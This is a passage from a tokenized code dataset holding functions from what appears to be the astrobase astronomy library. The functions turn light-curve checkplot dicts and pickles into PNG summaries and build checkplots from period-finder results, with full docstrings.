None,<EOL>writetostrio=True)<EOL>)<EOL>outimg.paste(plc2,(<NUM_LIT>*<NUM_LIT:2>,<NUM_LIT> + <NUM_LIT>*lspmethodind))<EOL><DEDENT>if (cpd[lspmethod] and <NUM_LIT:2> in cpd[lspmethod] and cpd[lspmethod][<NUM_LIT:2>]):<EOL><INDENT>plc3 = Image.open(<EOL>_base64_to_file(cpd[lspmethod][<NUM_LIT:2>]['<STR_LIT>'], None,<EOL>writetostrio=True)<EOL>)<EOL>outimg.paste(plc3,(<NUM_LIT>*<NUM_LIT:3>,<NUM_LIT> + <NUM_LIT>*lspmethodind))<EOL><DEDENT>elif (cpd[lspmethod] and '<STR_LIT>' in cpd[lspmethod] and<EOL>isinstance(cpd[lspmethod]['<STR_LIT>']['<STR_LIT>'], str)):<EOL><INDENT>plc3 = Image.open(<EOL>_base64_to_file(cpd[lspmethod]['<STR_LIT>']['<STR_LIT>'], None,<EOL>writetostrio=True)<EOL>)<EOL>outimg.paste(plc3,(<NUM_LIT>*<NUM_LIT:3>,<NUM_LIT> + <NUM_LIT>*lspmethodind))<EOL><DEDENT><DEDENT>if erows > <NUM_LIT:0>:<EOL><INDENT>for erowind, erow in enumerate(extrarows):<EOL><INDENT>for ecolind, ecol in enumerate(erow[:<NUM_LIT:4>]):<EOL><INDENT>eplot = Image.open(ecol)<EOL>eplotresized = eplot.resize((<NUM_LIT>,<NUM_LIT>), Image.ANTIALIAS)<EOL>outimg.paste(eplotresized,<EOL>(<NUM_LIT>*ecolind,<EOL>(cprows+<NUM_LIT:1>)*<NUM_LIT> + <NUM_LIT>*erowind))<EOL><DEDENT><DEDENT><DEDENT>if cpderows > <NUM_LIT:0>:<EOL><INDENT>for cpderowind, cpderow in enumerate(cpd['<STR_LIT>']):<EOL><INDENT>for cpdecolind, cpdecol in enumerate(cpderow[:<NUM_LIT:4>]):<EOL><INDENT>cpdeplot = Image.open(cpdecol)<EOL>cpdeplotresized = cpdeplot.resize((<NUM_LIT>,<NUM_LIT>), Image.ANTIALIAS)<EOL>outimg.paste(cpdeplotresized,<EOL>(<NUM_LIT>*cpdecolind,<EOL>(cprows+<NUM_LIT:1>)*<NUM_LIT> + (erows*<NUM_LIT>) + <NUM_LIT>*cpderowind))<EOL><DEDENT><DEDENT><DEDENT>if nbrrows > <NUM_LIT:0>:<EOL><INDENT>for nbrind, nbr in enumerate(cpd['<STR_LIT>']):<EOL><INDENT>nbrlspmethods = []<EOL>for lspmethod in cpd['<STR_LIT>']:<EOL><INDENT>if lspmethod in nbr:<EOL><INDENT>nbrlspmethods.append(lspmethod)<EOL><DEDENT><DEDENT>nbrlspmethods = nbrlspmethods[:<NUM_LIT:3>]<EOL>try:<EOL><INDENT>nbrlc = Image.open(<EOL>_base64_to_file(<EOL>nbr['<STR_LIT>']['<STR_LIT>'], None, writetostrio=True<EOL>)<EOL>)<EOL>outimg.paste(nbrlc,<EOL>(<NUM_LIT>*<NUM_LIT:0>,<EOL>(cprows+<NUM_LIT:1>)*<NUM_LIT> + (erows*<NUM_LIT>) + (cpderows*<NUM_LIT>) +<EOL><NUM_LIT>*nbrind))<EOL>objinfodraw.text(<EOL>(<NUM_LIT>,<EOL>(cprows+<NUM_LIT:1>)*<NUM_LIT> + (erows*<NUM_LIT>) + (cpderows*<NUM_LIT>) +<EOL><NUM_LIT>*nbrind + <NUM_LIT:15>),<EOL>('<STR_LIT>' % (nbrind + <NUM_LIT:1>, nbr['<STR_LIT>'])),<EOL>font=cpfontlarge,<EOL>fill=(<NUM_LIT:0>,<NUM_LIT:0>,<NUM_LIT:255>,<NUM_LIT:255>)<EOL>)<EOL>objinfodraw.text(<EOL>(<NUM_LIT>,<EOL>(cprows+<NUM_LIT:1>)*<NUM_LIT> + (erows*<NUM_LIT>) + (cpderows*<NUM_LIT>) +<EOL><NUM_LIT>*nbrind + <NUM_LIT:50>),<EOL>('<STR_LIT>' %<EOL>(nbr['<STR_LIT>'], nbr['<STR_LIT>'], nbr['<STR_LIT>'])),<EOL>font=cpfontnormal,<EOL>fill=(<NUM_LIT:0>,<NUM_LIT:0>,<NUM_LIT:255>,<NUM_LIT:255>)<EOL>)<EOL>lsp1lc = Image.open(<EOL>_base64_to_file(<EOL>nbr[nbrlspmethods[<NUM_LIT:0>]][<NUM_LIT:0>]['<STR_LIT>'], None,<EOL>writetostrio=True<EOL>)<EOL>)<EOL>outimg.paste(lsp1lc,<EOL>(<NUM_LIT>*<NUM_LIT:1>,<EOL>(cprows+<NUM_LIT:1>)*<NUM_LIT> + (erows*<NUM_LIT>) + (cpderows*<NUM_LIT>) +<EOL><NUM_LIT>*nbrind))<EOL>lsp2lc = Image.open(<EOL>_base64_to_file(<EOL>nbr[nbrlspmethods[<NUM_LIT:1>]][<NUM_LIT:0>]['<STR_LIT>'], None,<EOL>writetostrio=True<EOL>)<EOL>)<EOL>outimg.paste(lsp2lc,<EOL>(<NUM_LIT>*<NUM_LIT:2>,<EOL>(cprows+<NUM_LIT:1>)*<NUM_LIT> + (erows*<NUM_LIT>) + (cpderows*<NUM_LIT>) +<EOL><NUM_LIT>*nbrind))<EOL>lsp3lc = Image.open(<EOL>_base64_to_file(<EOL>nbr[nbrlspmethods[<NUM_LIT:2>]][<NUM_LIT:0>]['<STR_LIT>'], None,<EOL>writetostrio=True<EOL>)<EOL>)<EOL>outimg.paste(lsp3lc,<EOL>(<NUM_LIT>*<NUM_LIT:3>,<EOL>(cprows+<NUM_LIT:1>)*<NUM_LIT> + (erows*<NUM_LIT>) + (cpderows*<NUM_LIT>) +<EOL><NUM_LIT>*nbrind))<EOL><DEDENT>except Exception as e:<EOL><INDENT>LOGERROR('<STR_LIT>'<EOL>'<STR_LIT>' % nbr['<STR_LIT>'])<EOL>objinfodraw.text(<EOL>(<NUM_LIT>,<EOL>(cprows+<NUM_LIT:1>)*<NUM_LIT> + (erows*<NUM_LIT>) + (cpderows*<NUM_LIT>) +<EOL><NUM_LIT>*nbrind + <NUM_LIT:15>),<EOL>('<STR_LIT>' %<EOL>(nbrind + <NUM_LIT:1>, nbr['<STR_LIT>'])),<EOL>font=cpfontlarge,<EOL>fill=(<NUM_LIT:0>,<NUM_LIT:0>,<NUM_LIT:255>,<NUM_LIT:255>)<EOL>)<EOL>if '<STR_LIT>' in nbr and '<STR_LIT>' in nbr and '<STR_LIT>' in nbr:<EOL><INDENT>objinfodraw.text(<EOL>(<NUM_LIT>,<EOL>(cprows+<NUM_LIT:1>)*<NUM_LIT> + (erows*<NUM_LIT>) + (cpderows*<NUM_LIT>) +<EOL><NUM_LIT>*nbrind + <NUM_LIT:50>),<EOL>('<STR_LIT>' %<EOL>(nbr['<STR_LIT>'], nbr['<STR_LIT>'], nbr['<STR_LIT>'])),<EOL>font=cpfontnormal,<EOL>fill=(<NUM_LIT:0>,<NUM_LIT:0>,<NUM_LIT:255>,<NUM_LIT:255>)<EOL>)<EOL><DEDENT>elif '<STR_LIT>' in nbr:<EOL><INDENT>objinfodraw.text(<EOL>(<NUM_LIT>,<EOL>(cprows+<NUM_LIT:1>)*<NUM_LIT> + (erows*<NUM_LIT>) + (cpderows*<NUM_LIT>) +<EOL><NUM_LIT>*nbrind + <NUM_LIT:50>),<EOL>('<STR_LIT>' %<EOL>(nbr['<STR_LIT>']['<STR_LIT>'],<EOL>nbr['<STR_LIT>']['<STR_LIT>'],<EOL>nbr['<STR_LIT>']['<STR_LIT>'])),<EOL>font=cpfontnormal,<EOL>fill=(<NUM_LIT:0>,<NUM_LIT:0>,<NUM_LIT:255>,<NUM_LIT:255>)<EOL>)<EOL><DEDENT><DEDENT><DEDENT><DEDENT>if sys.version_info[:<NUM_LIT:2>] < (<NUM_LIT:3>,<NUM_LIT:0>):<EOL><INDENT>is_strio = isinstance(outfile, cStringIO.InputType)<EOL><DEDENT>else:<EOL><INDENT>is_strio = isinstance(outfile, StrIO)<EOL><DEDENT>if not is_strio:<EOL><INDENT>if outfile.endswith('<STR_LIT>'):<EOL><INDENT>LOGWARNING('<STR_LIT>'<EOL>'<STR_LIT>')<EOL>outfile = outfile.replace('<STR_LIT>','<STR_LIT>')<EOL><DEDENT><DEDENT>outimg.save(outfile, format='<STR_LIT>', optimize=True)<EOL>if not is_strio:<EOL><INDENT>if os.path.exists(outfile):<EOL><INDENT>LOGINFO('<STR_LIT>' % outfile)<EOL>return outfile<EOL><DEDENT>else:<EOL><INDENT>LOGERROR('<STR_LIT>')<EOL>return None<EOL><DEDENT><DEDENT>else:<EOL><INDENT>LOGINFO('<STR_LIT>')<EOL>return outfile<EOL><DEDENT>", "docstring": "This reads the checkplot pickle or dict provided, and writes out a PNG.\n\n    The output PNG contains most of the information in the input checkplot\n    pickle/dict, and can be used to quickly glance through the highlights\n    instead of having to review the checkplot with the `checkplotserver`\n    webapp. This is useful for exporting read-only views of finalized checkplots\n    from the `checkplotserver` as well, to share them with other people.\n\n    The PNG has 4 x N tiles::\n\n        [    finder    ] [  objectinfo  ] [ varinfo/comments ] [ unphased LC  ]\n        [ periodogram1 ] [ phased LC P1 ] [   phased LC P2   ] [ phased LC P3 ]\n        [ periodogram2 ] [ phased LC P1 ] [   phased LC P2   ] [ phased LC P3 ]\n                                         .\n                                         .\n        [ periodogramN ] [ phased LC P1 ] [ phased LC P2 ] [ phased LC P3 ]\n\n    for N independent period-finding methods producing:\n\n    - periodogram1,2,3...N: the periodograms from each method\n\n    - phased LC P1,P2,P3: the phased lightcurves using the best 3 peaks in each\n      periodogram\n\n    Parameters\n    ----------\n\n    checkplotin : dict or str\n        This is either a checkplotdict produced by\n        :py:func:`astrobase.checkplot.pkl.checkplot_dict` or a checkplot pickle\n        file produced by :py:func:`astrobase.checkplot.pkl.checkplot_pickle`.\n\n    outfile : str\n        The filename of the output PNG file to create.\n\n    extrarows : list of tuples\n        This is a list of 4-element tuples containing paths to PNG files that\n        will be added to the end of the rows generated from the checkplotin\n        pickle/dict. Each tuple represents a row in the final output PNG\n        file. If there are less than 4 elements per tuple, the missing elements\n        will be filled in with white-space. If there are more than 4 elements\n        per tuple, only the first four will be used.\n\n        The purpose of this kwarg is to incorporate periodograms and phased LC\n        plots (in the form of PNGs) generated from an external period-finding\n        function or program (like VARTOOLS) to allow for comparison with\n        astrobase results.\n\n        NOTE: the PNG files specified in `extrarows` here will be added to those\n        already present in the input checkplotdict['externalplots'] if that is\n        None because you passed in a similar list of external plots to the\n        :py:func:`astrobase.checkplot.pkl.checkplot_pickle` function earlier. In\n        this case, `extrarows` can be used to add even more external plots if\n        desired.\n\n        Each external plot PNG will be resized to 750 x 480 pixels to fit into\n        an output image cell.\n\n        By convention, each 4-element tuple should contain:\n\n        - a periodiogram PNG\n        - phased LC PNG with 1st best peak period from periodogram\n        - phased LC PNG with 2nd best peak period from periodogram\n        - phased LC PNG with 3rd best peak period from periodogram\n\n        Example of extrarows::\n\n            [('/path/to/external/bls-periodogram.png',\n              '/path/to/external/bls-phasedlc-plot-bestpeak.png',\n              '/path/to/external/bls-phasedlc-plot-peak2.png',\n              '/path/to/external/bls-phasedlc-plot-peak3.png'),\n             ('/path/to/external/pdm-periodogram.png',\n              '/path/to/external/pdm-phasedlc-plot-bestpeak.png',\n              '/path/to/external/pdm-phasedlc-plot-peak2.png',\n              '/path/to/external/pdm-phasedlc-plot-peak3.png'),\n            ...]\n\n    Returns\n    -------\n\n    str\n        The absolute path to the generated checkplot PNG.", "id": "f14724:m0"}
{"signature": "def cp2png(checkplotin, extrarows=None):", "body": "if checkplotin.endswith('<STR_LIT>'):<EOL><INDENT>outfile = checkplotin.replace('<STR_LIT>','<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>outfile = checkplotin.replace('<STR_LIT>','<STR_LIT>')<EOL><DEDENT>return checkplot_pickle_to_png(checkplotin, outfile, extrarows=extrarows)<EOL>", "docstring": "This is just a shortened form of the function above for convenience.\n\n    This only handles pickle files as input.\n\n    Parameters\n    ----------\n\n    checkplotin : str\n        File name of a checkplot pickle file to convert to a PNG.\n\n    extrarows : list of tuples\n        This is a list of 4-element tuples containing paths to PNG files that\n        will be added to the end of the rows generated from the checkplotin\n        pickle/dict. Each tuple represents a row in the final output PNG\n        file. If there are less than 4 elements per tuple, the missing elements\n        will be filled in with white-space. If there are more than 4 elements\n        per tuple, only the first four will be used.\n\n        The purpose of this kwarg is to incorporate periodograms and phased LC\n        plots (in the form of PNGs) generated from an external period-finding\n        function or program (like VARTOOLS) to allow for comparison with\n        astrobase results.\n\n        NOTE: the PNG files specified in `extrarows` here will be added to those\n        already present in the input `checkplotdict['externalplots']` if that is\n        None because you passed in a similar list of external plots to the\n        :py:func:`astrobase.checkplot.pkl.checkplot_pickle` function earlier. In\n        this case, `extrarows` can be used to add even more external plots if\n        desired.\n\n        Each external plot PNG will be resized to 750 x 480 pixels to fit into\n        an output image cell.\n\n        By convention, each 4-element tuple should contain:\n\n        - a periodiogram PNG\n        - phased LC PNG with 1st best peak period from periodogram\n        - phased LC PNG with 2nd best peak period from periodogram\n        - phased LC PNG with 3rd best peak period from periodogram\n\n        Example of extrarows::\n\n            [('/path/to/external/bls-periodogram.png',\n              '/path/to/external/bls-phasedlc-plot-bestpeak.png',\n              '/path/to/external/bls-phasedlc-plot-peak2.png',\n              '/path/to/external/bls-phasedlc-plot-peak3.png'),\n             ('/path/to/external/pdm-periodogram.png',\n              '/path/to/external/pdm-phasedlc-plot-bestpeak.png',\n              '/path/to/external/pdm-phasedlc-plot-peak2.png',\n              '/path/to/external/pdm-phasedlc-plot-peak3.png'),\n            ...]\n\n    Returns\n    -------\n\n    str\n        The absolute path to the generated checkplot PNG.", "id": "f14724:m1"}
{"signature": "def checkplot_dict(<EOL>lspinfolist,<EOL>times,<EOL>mags,<EOL>errs,<EOL>fast_mode=False,<EOL>magsarefluxes=False,<EOL>nperiodstouse=<NUM_LIT:3>,<EOL>objectinfo=None,<EOL>deredden_object=True,<EOL>custom_bandpasses=None,<EOL>gaia_submit_timeout=<NUM_LIT>,<EOL>gaia_submit_tries=<NUM_LIT:3>,<EOL>gaia_max_timeout=<NUM_LIT>,<EOL>gaia_mirror=None,<EOL>complete_query_later=True,<EOL>varinfo=None,<EOL>getvarfeatures=True,<EOL>lclistpkl=None,<EOL>nbrradiusarcsec=<NUM_LIT>,<EOL>maxnumneighbors=<NUM_LIT:5>,<EOL>xmatchinfo=None,<EOL>xmatchradiusarcsec=<NUM_LIT>,<EOL>lcfitfunc=None,<EOL>lcfitparams=None,<EOL>externalplots=None,<EOL>findercmap='<STR_LIT>',<EOL>finderconvolve=None,<EOL>findercachedir='<STR_LIT>',<EOL>normto='<STR_LIT>',<EOL>normmingap=<NUM_LIT>,<EOL>sigclip=<NUM_LIT>,<EOL>varepoch='<STR_LIT>',<EOL>phasewrap=True,<EOL>phasesort=True,<EOL>phasebin=<NUM_LIT>,<EOL>minbinelems=<NUM_LIT:7>,<EOL>plotxlim=(-<NUM_LIT>,<NUM_LIT>),<EOL>xliminsetmode=False,<EOL>plotdpi=<NUM_LIT:100>,<EOL>bestperiodhighlight=None,<EOL>xgridlines=None,<EOL>mindet=<NUM_LIT>,<EOL>verbose=True<EOL>):", "body": "<EOL>try:<EOL><INDENT>objuuid = hashlib.sha512(times[<NUM_LIT:5>:<NUM_LIT:10>].tostring() +<EOL>mags[<NUM_LIT:5>:<NUM_LIT:10>].tostring()).hexdigest()[:<NUM_LIT:5>]<EOL><DEDENT>except Exception as e:<EOL><INDENT>if verbose:<EOL><INDENT>LOGWARNING('<STR_LIT>')<EOL>objuuid = hashlib.sha512(times.tostring() +<EOL>mags.tostring()).hexdigest()[:<NUM_LIT:5>]<EOL><DEDENT><DEDENT>if (objectinfo is None):<EOL><INDENT>if verbose:<EOL><INDENT>LOGWARNING('<STR_LIT>'<EOL>'<STR_LIT>')<EOL><DEDENT>objectinfo = {'<STR_LIT>':objuuid}<EOL><DEDENT>elif (isinstance(objectinfo, dict) and '<STR_LIT>' in objectinfo):<EOL><INDENT>objectinfo['<STR_LIT>'] = objectinfo['<STR_LIT>']<EOL><DEDENT>elif ((isinstance(objectinfo, dict) and '<STR_LIT>' not in objectinfo) or<EOL>(isinstance(objectinfo, dict) and '<STR_LIT>' in objectinfo and<EOL>(objectinfo['<STR_LIT>'] is None or objectinfo['<STR_LIT>'] == '<STR_LIT>'))):<EOL><INDENT>if verbose:<EOL><INDENT>LOGWARNING('<STR_LIT>'<EOL>'<STR_LIT>')<EOL><DEDENT>objectinfo['<STR_LIT>'] = objuuid<EOL><DEDENT>checkplotdict = _pkl_finder_objectinfo(<EOL>objectinfo,<EOL>varinfo,<EOL>findercmap,<EOL>finderconvolve,<EOL>sigclip,<EOL>normto,<EOL>normmingap,<EOL>deredden_object=deredden_object,<EOL>custom_bandpasses=custom_bandpasses,<EOL>lclistpkl=lclistpkl,<EOL>nbrradiusarcsec=nbrradiusarcsec,<EOL>maxnumneighbors=maxnumneighbors,<EOL>plotdpi=plotdpi,<EOL>verbose=verbose,<EOL>findercachedir=findercachedir,<EOL>gaia_submit_timeout=gaia_submit_timeout,<EOL>gaia_submit_tries=gaia_submit_tries,<EOL>gaia_max_timeout=gaia_max_timeout,<EOL>gaia_mirror=gaia_mirror,<EOL>complete_query_later=complete_query_later,<EOL>fast_mode=fast_mode<EOL>)<EOL>if (objectinfo and isinstance(objectinfo, dict) and<EOL>'<STR_LIT>' in objectinfo and objectinfo['<STR_LIT>']):<EOL><INDENT>checkplotdict['<STR_LIT>'] = objectinfo['<STR_LIT>']<EOL><DEDENT>stimes, smags, serrs = sigclip_magseries(times,<EOL>mags,<EOL>errs,<EOL>magsarefluxes=magsarefluxes,<EOL>sigclip=sigclip)<EOL>if ((stimes is None) or (smags is None) or (serrs is None) or<EOL>(stimes.size < <NUM_LIT>) or (smags.size < <NUM_LIT>) or (serrs.size < <NUM_LIT>)):<EOL><INDENT>LOGERROR(\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\" %<EOL>checkplotdict['<STR_LIT>'])<EOL>checkplotdict['<STR_LIT>'] = None<EOL>checkplotdict['<STR_LIT:status>'] = '<STR_LIT>'<EOL>return checkplotdict<EOL><DEDENT>if isinstance(stimes, AstColumn):<EOL><INDENT>stimes = stimes.data<EOL>LOGWARNING('<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>')<EOL><DEDENT>if isinstance(smags, AstColumn):<EOL><INDENT>smags = smags.data<EOL>LOGWARNING('<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>')<EOL><DEDENT>if isinstance(serrs, AstColumn):<EOL><INDENT>serrs = serrs.data<EOL>LOGWARNING('<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>')<EOL><DEDENT>if verbose:<EOL><INDENT>LOGINFO('<STR_LIT>'<EOL>'<STR_LIT>' %<EOL>(sigclip, len(times), len(stimes)))<EOL><DEDENT>if normto is not False:<EOL><INDENT>stimes, smags = normalize_magseries(stimes, smags,<EOL>normto=normto,<EOL>magsarefluxes=magsarefluxes,<EOL>mingap=normmingap)<EOL><DEDENT>if len(stimes) > mindet:<EOL><INDENT>magseriesdict = _pkl_magseries_plot(stimes, smags, serrs,<EOL>plotdpi=plotdpi,<EOL>magsarefluxes=magsarefluxes)<EOL>checkplotdict.update(magseriesdict)<EOL>checkplot_pfmethods = []<EOL>for lspind, lspinfo in enumerate(lspinfolist):<EOL><INDENT>if isinstance(lspinfo,str) and os.path.exists(lspinfo):<EOL><INDENT>LOGINFO('<STR_LIT>' % lspinfo)<EOL>if '<STR_LIT>' in lspinfo:<EOL><INDENT>with gzip.open(lspinfo,'<STR_LIT:rb>') as infd:<EOL><INDENT>lspinfo = pickle.load(infd)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>with open(lspinfo,'<STR_LIT:rb>') as infd:<EOL><INDENT>lspinfo = pickle.load(infd)<EOL><DEDENT><DEDENT><DEDENT>override_pfmethod = '<STR_LIT>' % (lspind, lspinfo['<STR_LIT>'])<EOL>periodogramdict = _pkl_periodogram(<EOL>lspinfo,<EOL>plotdpi=plotdpi,<EOL>override_pfmethod=override_pfmethod<EOL>)<EOL>checkplotdict.update(periodogramdict)<EOL>for nbpind, nbperiod in enumerate(<EOL>lspinfo['<STR_LIT>'][:nperiodstouse]<EOL>):<EOL><INDENT>if lcfitfunc:<EOL><INDENT>try:<EOL><INDENT>if lcfitparams is None:<EOL><INDENT>lcfitparams = {}<EOL><DEDENT>overplotfit = lcfitfunc(stimes,<EOL>smags,<EOL>serrs,<EOL>nbperiod,<EOL>**lcfitparams)<EOL><DEDENT>except Exception as e:<EOL><INDENT>LOGEXCEPTION('<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>')<EOL>overplotfit = None<EOL><DEDENT><DEDENT>else:<EOL><INDENT>overplotfit = None<EOL><DEDENT>if (lspinfo is not None and<EOL>'<STR_LIT>' in lspinfo['<STR_LIT>'] and<EOL>'<STR_LIT>' in lspinfo):<EOL><INDENT>thisvarepoch = lspinfo['<STR_LIT>'][nbpind]<EOL>if verbose:<EOL><INDENT>LOGINFO(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>% (thisvarepoch, nbperiod)<EOL>)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>thisvarepoch = varepoch<EOL><DEDENT>checkplotdict = _pkl_phased_magseries_plot(<EOL>checkplotdict,<EOL>lspinfo['<STR_LIT>'],<EOL>nbpind,<EOL>stimes, smags, serrs,<EOL>nbperiod, thisvarepoch,<EOL>lspmethodind=lspind,<EOL>phasewrap=phasewrap,<EOL>phasesort=phasesort,<EOL>phasebin=phasebin,<EOL>minbinelems=minbinelems,<EOL>plotxlim=plotxlim,<EOL>overplotfit=overplotfit,<EOL>plotdpi=plotdpi,<EOL>bestperiodhighlight=bestperiodhighlight,<EOL>magsarefluxes=magsarefluxes,<EOL>xliminsetmode=xliminsetmode,<EOL>xgridlines=xgridlines,<EOL>verbose=verbose,<EOL>override_pfmethod=override_pfmethod,<EOL>)<EOL><DEDENT>if '<STR_LIT>' in lspinfo:<EOL><INDENT>if override_pfmethod in checkplotdict:<EOL><INDENT>checkplotdict[override_pfmethod]['<STR_LIT>'] = (<EOL>lspinfo['<STR_LIT>']<EOL>)<EOL><DEDENT><DEDENT>if '<STR_LIT>' in lspinfo:<EOL><INDENT>if override_pfmethod in checkplotdict:<EOL><INDENT>checkplotdict[override_pfmethod]['<STR_LIT>'] = (<EOL>lspinfo['<STR_LIT>']<EOL>)<EOL><DEDENT><DEDENT>if '<STR_LIT>' in lspinfo:<EOL><INDENT>if override_pfmethod in checkplotdict:<EOL><INDENT>checkplotdict[override_pfmethod]['<STR_LIT>'] = (<EOL>lspinfo['<STR_LIT>']<EOL>)<EOL><DEDENT><DEDENT>checkplot_pfmethods.append(override_pfmethod)<EOL><DEDENT>checkplotdict['<STR_LIT>'] = None<EOL>if getvarfeatures is True:<EOL><INDENT>checkplotdict['<STR_LIT>']['<STR_LIT>'] = all_nonperiodic_features(<EOL>stimes,<EOL>smags,<EOL>serrs,<EOL>magsarefluxes=magsarefluxes,<EOL>)<EOL><DEDENT>checkplotdict['<STR_LIT>'] = {}<EOL>checkplotdict['<STR_LIT>'] = []<EOL>if (externalplots and<EOL>isinstance(externalplots, list) and<EOL>len(externalplots) > <NUM_LIT:0>):<EOL><INDENT>for externalrow in externalplots:<EOL><INDENT>if all(os.path.exists(erowfile) for erowfile in externalrow):<EOL><INDENT>if verbose:<EOL><INDENT>LOGINFO('<STR_LIT>' %<EOL>repr(externalrow))<EOL><DEDENT>checkplotdict['<STR_LIT>'].append(externalrow)<EOL><DEDENT>else:<EOL><INDENT>LOGWARNING('<STR_LIT>'<EOL>'<STR_LIT>'<EOL>% repr(externalrow))<EOL><DEDENT><DEDENT><DEDENT>if xmatchinfo is not None:<EOL><INDENT>checkplotdict = xmatch_external_catalogs(<EOL>checkplotdict,<EOL>xmatchinfo,<EOL>xmatchradiusarcsec=xmatchradiusarcsec<EOL>)<EOL><DEDENT>contents = sorted(list(checkplotdict.keys()))<EOL>checkplotdict['<STR_LIT:status>'] = '<STR_LIT>' % contents<EOL>if verbose:<EOL><INDENT>LOGINFO('<STR_LIT>' %<EOL>checkplotdict['<STR_LIT>'])<EOL>LOGINFO('<STR_LIT>' % contents)<EOL><DEDENT>checkplotdict['<STR_LIT>'] = checkplot_pfmethods<EOL><DEDENT>else:<EOL><INDENT>LOGERROR('<STR_LIT>' %<EOL>(checkplotdict['<STR_LIT>'],len(stimes),mindet))<EOL>checkplotdict['<STR_LIT>'] = None<EOL>checkplotdict['<STR_LIT:status>'] = '<STR_LIT>'<EOL><DEDENT>return checkplotdict<EOL>", "docstring": "This writes a multiple lspinfo checkplot to a dict.\n\n    This function can take input from multiple lspinfo dicts (e.g. a list of\n    output dicts or gzipped pickles of dicts from independent runs of BLS, PDM,\n    AoV, or GLS period-finders in periodbase).\n\n    NOTE: if `lspinfolist` contains more than one lspinfo object with the same\n    lspmethod ('pdm','gls','sls','aov','bls'), the latest one in the list will\n    overwrite the earlier ones.\n\n    The output dict contains all the plots (magseries and phased magseries),\n    periodograms, object information, variability information, light curves, and\n    phased light curves. This can be written to:\n\n    - a pickle with `checkplot_pickle` below\n    - a PNG with `checkplot.pkl_png.checkplot_pickle_to_png`\n\n    Parameters\n    ----------\n\n    lspinfolist : list of dicts\n        This is a list of dicts containing period-finder results ('lspinfo'\n        dicts). These can be from any of the period-finder methods in\n        astrobase.periodbase. To incorporate external period-finder results into\n        checkplots, these dicts must be of the form below, including at least\n        the keys indicated here::\n\n            {'periods': np.array of all periods searched by the period-finder,\n             'lspvals': np.array of periodogram power value for each period,\n             'bestperiod': a float value that is the period with the highest\n                           peak in the periodogram, i.e. the most-likely actual\n                           period,\n             'method': a three-letter code naming the period-finder used; must\n                       be one of the keys in the\n                       `astrobase.periodbase.METHODLABELS` dict,\n             'nbestperiods': a list of the periods corresponding to periodogram\n                             peaks (`nbestlspvals` below) to annotate on the\n                             periodogram plot so they can be called out\n                             visually,\n             'nbestlspvals': a list of the power values associated with\n                             periodogram peaks to annotate on the periodogram\n                             plot so they can be called out visually; should be\n                             the same length as `nbestperiods` above}\n\n        `nbestperiods` and `nbestlspvals` in each lspinfo dict must have at\n        least as many elements as the `nperiodstouse` kwarg to this function.\n\n    times,mags,errs : np.arrays\n        The magnitude/flux time-series to process for this checkplot along with\n        their associated measurement errors.\n\n    fast_mode : bool or float\n        This runs the external catalog operations in a \"fast\" mode, with short\n        timeouts and not trying to hit external catalogs that take a long time\n        to respond.\n\n        If this is set to True, the default settings for the external requests\n        will then become::\n\n                skyview_lookup = False\n                skyview_timeout = 10.0\n                skyview_retry_failed = False\n                dust_timeout = 10.0\n                gaia_submit_timeout = 7.0\n                gaia_max_timeout = 10.0\n                gaia_submit_tries = 2\n                complete_query_later = False\n                search_simbad = False\n\n        If this is a float, will run in \"fast\" mode with the provided timeout\n        value in seconds and the following settings::\n\n                skyview_lookup = True\n                skyview_timeout = fast_mode\n                skyview_retry_failed = False\n                dust_timeout = fast_mode\n                gaia_submit_timeout = 0.66*fast_mode\n                gaia_max_timeout = fast_mode\n                gaia_submit_tries = 2\n                complete_query_later = False\n                search_simbad = False\n\n    magsarefluxes : bool\n        If True, indicates the input time-series is fluxes and not mags so the\n        plot y-axis direction and range can be set appropriately.\n\n    nperiodstouse : int\n        This controls how many 'best' periods to make phased LC plots for. By\n        default, this is the 3 best. If this is set to None, all 'best' periods\n        present in each lspinfo dict's 'nbestperiods' key will be processed for\n        this checkplot.\n\n    objectinfo : dict or None\n        This is a dict containing information on the object whose light\n        curve is being processed. This function will then be able to\n        look up and download a finder chart for this object and write\n        that to the output checkplotdict. External services such as\n        GAIA, SIMBAD, TIC, etc. will also be used to look up this object\n        by its coordinates, and will add in information available from\n        those services.\n\n        This dict must be of the form and contain at least the keys described\n        below::\n\n            {'objectid': the name of the object,\n             'ra': the right ascension of the object in decimal degrees,\n             'decl': the declination of the object in decimal degrees,\n             'ndet': the number of observations of this object}\n\n        You can also provide magnitudes and proper motions of the object using\n        the following keys and the appropriate values in the `objectinfo`\n        dict. These will be used to calculate colors, total and reduced proper\n        motion, etc. and display these in the output checkplot PNG::\n\n            'pmra'   -> the proper motion in mas/yr in right ascension,\n            'pmdecl' -> the proper motion in mas/yr in declination,\n            'umag'  -> U mag\t\t -> colors: U-B, U-V, U-g\n            'bmag'  -> B mag\t\t -> colors: U-B, B-V\n            'vmag'  -> V mag\t\t -> colors: U-V, B-V, V-R, V-I, V-K\n            'rmag'  -> R mag\t\t -> colors: V-R, R-I\n            'imag'  -> I mag\t\t -> colors: g-I, V-I, R-I, B-I\n            'jmag'  -> 2MASS J mag\t -> colors: J-H, J-K, g-J, i-J\n            'hmag'  -> 2MASS H mag\t -> colors: J-H, H-K\n            'kmag'  -> 2MASS Ks mag\t -> colors: g-Ks, H-Ks, J-Ks, V-Ks\n            'sdssu' -> SDSS u mag\t -> colors: u-g, u-V\n            'sdssg' -> SDSS g mag\t -> colors: g-r, g-i, g-K, u-g, U-g, g-J\n            'sdssr' -> SDSS r mag\t -> colors: r-i, g-r\n            'sdssi' -> SDSS i mag\t -> colors: r-i, i-z, g-i, i-J, i-W1\n            'sdssz' -> SDSS z mag\t -> colors: i-z, z-W2, g-z\n            'ujmag' -> UKIRT J mag\t -> colors: J-H, H-K, J-K, g-J, i-J\n            'uhmag' -> UKIRT H mag\t -> colors: J-H, H-K\n            'ukmag' -> UKIRT K mag\t -> colors: g-K, H-K, J-K, V-K\n            'irac1' -> Spitzer IRAC1 mag -> colors: i-I1, I1-I2\n            'irac2' -> Spitzer IRAC2 mag -> colors: I1-I2, 